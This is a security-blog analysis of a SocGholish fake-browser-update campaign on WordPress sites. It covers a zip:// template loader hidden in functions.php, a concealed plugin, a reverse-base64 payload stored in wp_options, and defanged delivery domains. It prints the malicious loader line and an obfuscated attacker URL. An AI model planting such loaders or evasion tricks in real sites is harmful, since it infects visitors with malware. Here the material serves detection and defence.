Readers of this blog should already be familiar with SocGholish: a widespread, years-long malware campaign aimed at pushing fake browser updates to unsuspecting web users.

Once installed, fake browser updates infect the victim’s computer with various types of malware including remote access trojans (RATs). SocGholish malware is often the first step in severe targeted ransomware attacks against corporations and other organizations.

Since the beginning of 2022, SiteCheck has detected different variations of SocGholish malware over 54,000 times. An overwhelming majority of detected sites were found to be using WordPress at the time of infection. And while the number of SiteCheck detections is significant, it’s important to keep in mind that for every infected website there could be hundreds or possibly thousands of victims not yet accounted for.

We’ve recently uncovered a new SocGholish infection campaign using an unorthodox (and admittedly rather creative) way of injecting malicious JavaScript into a victim’s website. While the endpoint malware delivered to website visitors remains the same old fake browser update, what is interesting is the way the malware conceals itself within the website structure to avoid detection.

Contents:

• Symptoms of infection
• Malicious code in functions.php
• Evasive techniques
• Payload in database
• Malicious JavaScript
• SocGholish cid=272

Symptoms of Infection

A new client came to us reporting that users on his site were experiencing malicious downloads. Upon investigation we discovered file downloads initiated whenever accessing the website with names like Auto.Update.Zip and Chrome.Update.zip.

Inspecting the website’s source code immediately revealed the familiar SocGholish obfuscated JavaScript:

Querying the website files and database for this code yielded no results, so where was this code injection coming from? What we soon uncovered was a very clever way of injecting malware.

Malicious code in functions.php

Lodged at the bottom of their theme’s functions.php file was a line of code which made me raise my eyebrow 🤨:

/* [REDACTED] Theme Template Loader */
load_template( strrev( "//:piz" ) . locate_template( "[REDACTED].template" ) . "#template", true );

The strrev PHP function is short for string reverse; it reverses the code in question. In this case strrev( “//:piz” ) turns into zip:// — a compression protocol supported by PHP through the ZIP extension.

WordPress allows template files to load in a theme via the use of the load_template function; essentially allowing PHP code to load from custom files and included within WordPress themes. But why would a theme be using a compressed archive as a PHP template?

This //:piz string was also found in a plugin installed on the website, although no such .template archive was identified there:

Let’s take a look at this .template file found in the theme directory and see what’s inside!

Evasive techniques

Once we opened up and extracted the compressed archive .template file it became clear that it was part of the infection:

The attackers were utilizing file compression to avoid detection by malware scans. This also allowed them to keep the footprint within the modified theme files to a minimum.

Further analysis revealed that this compressed malware contains three component parts. The first of which (displayed above) is a backdoor which loads encoded POST request parameters and uses them to execute code. It also includes code from a third-party file (defined by the POST parameters).

An additional section of malware conceals a malicious plugin and prevents it from appearing the list of active plugins on the WordPress admin panel:

The plugin name is constructed as <theme-name>-template-plugin.

And, finally, the most crucial component is responsible for injecting the malware into web pages:

Take particular note of the $s variable:

$s = get_option(get_stylesheet().'-template-plugin', '');

The get_option function grabs the contents of the <theme-name>-template-plugin option from the wp_options database table, where <theme-name> is the name of the current theme. Just a few lines down we can see that it is decoding the retrieved value using the strrev and base64_decode functions. We’ll touch base on this momentarily.

Once decoded the results are found as JSON which contains a code variable. The malware injects the contents of this variable into all public WordPress pages. However, the injection only occurs when two specific conditions are met:

1. Visitor is not logged in (checking the value returned by the is_user_logged_in function)
2. Visitor comes from a third-party site (has a set HTTP_REFERER header which is different from the compromised site itself)

Payload in the database

Similar to other clever infections that we’ve seen in the past the malicious JavaScript found in the website’s source code was hiding in the database and concealed as a reverse base64 encoded string:

Once we reverse the string and decode the base64 we’re greeted with the exact obfuscated JavaScript seen initially in the source code:

Keeping the main payload in the database is a smart tactic that attackers sometimes use to conceal their malware. Most often security software parses through files and monitors file integrity and indicators of compromise but less often monitors the content of databases directly. By keeping the footprint within the file structure to a minimum the attackers are better able to keep a low profile.

Malware footprint

Overall, the malware affects the following files and database tables:

• wp-content/themes/<theme-name>/functions.php – This theme file loads a malicious zipped template.
• wp-content/themes/<theme-name>/<theme-name>-template – This malicious zipped template contains a backdoor. It also injects the SocGholish script stored in WordPress database into web pages.
• wp-content/plugins/<theme-name>template-plugin – This fake plugin loads a malicious zipped template.
• wp_options.<theme-name>-template-plugin – This database record found in the wp_options table stores the encoded SocGholish script.

Malicious JavaScript

The SocGholish malware variant is not human-readable and at first glance looks like complete rubbish.

For example the URL of the SocGholish script looks like this:

lhptitnpjsb:z/c/zcgoeurrasqes.hnpentupjiacikmsatmriaudqionegf.lccormb/eriefpsodrpty?xrt=hdcjp1omjZwmyZwjkMbjiJuifOeDkJcjtNwGoYg0fNzzmkswlMwDyVfjeNbyyZjjdaxWqQx9dMqjgcgyy

However, once the obfuscation is removed by removing every odd numbered character we can see the source in plaintext:

This code is clearly checking for the Windows string to be present within the user agent header. It delivers the payload from course[.]netpickstrading[.]com. Other SocGholish domains recently used by this campaign include shipwrecks.ggentile[.]com and community[.]backpacktrader[.]com.

Linux and Mac users rejoice! Currently this malware can’t be bothered to target you (although that may change in the future for all we know)!

SocGholish cid=272

The SocGholish URLfor this specific campaign uses the “report?r=dj1mZmZjMjJiODJjNGY0NzkwMDVjNyZjaWQ9Mjcy” parameter, which further decodes to “v=fffc22b82c4f479005c7&cid=272” which reveals the (presumed) campaign ID 272.

At this point we’ve observed this cid being used only by this specific type of malware leveraging zipped php templates and reversed base64-encoded SocGholish JavaScript stored in a database, although you may also find this SocGholish code injected into some .js files on the compromised sites.

SocGholish campaigns with other cids (e.g. NDSW/NDSX) still use different infection approaches.

Siteurl comment

This particular campaign can also be identified by the “<!–siteurl:[REDACTED].com–>” comment found in front of the SocGholish script on compromised web pages.

This HTML comment is a part of the payload. On every site, attackers customize the code stored in the database option to include this comment with the domain name matching the compromised site. You can see that the contents of the code variable actually begins with this siteurl comment.

{"code":"\n<!--siteurl:[REDACTED].com-->\n\n<script>;(function() ... SocGholish ... <\/script>\n","has_cache_plugins":1}

The rise of cid=272

It appears that SocGholish operators are allowing different hacker groups to distribute this SocGholish malware. Each group comes with their own website infection vectors and techniques to maximise the impact of the malware.

This SocGholish cid=272 campaign is pretty new. However in November it almost completely overtook the share of other cids using the vanilla SocGholish injections (e.g cid=26x). We recently began detecting 50+ infected sites per day — making it the second most common variation after NDSW with 300+ daily detections.

Let’s see if cid=272 becomes a noticeable provider of SocGholish malware in the long run.

The attackers behind it are definitely creative and knowledgeable but their infection approach has too many moving parts and is quite difficult to maintain and perform reinfections (it requires a payload customised to each infected site updated in the database). Of course they have a backdoor that allows them to do it but I expect the attackers to eventually simplify their operation.

Conclusion

When attackers write new variants for their malware to avoid detection it tends to indicate that they are succeeding in their efforts. In this case it implies that infecting WordPress websites with SocGholish malware is an effective distribution platform for their trojan malware to later be used to stage ransomware attacks.

Website owners have a responsibility to protect their visitors from malware; this starts with having a good security posture and protecting websites from becoming compromised. A compromised website can also lead to Google blocking the website with a Visiting this website may harm your computer message.

In fact, web browsers have begun displaying warnings when visitors try to open websites that are infected with SocGholish:

No security solution is 100% but some great steps that website owners can take to keep their websites secure include:

• Keep your plugins, themes and other software components patched and up to date
• Use 2FA on your administrator panel and limit access
• Use strong, robust passwords for all of your accounts
• If you have multiple websites, isolate them from each other to prevent cross-site contamination
• Use a web application firewall to protect your site from attacks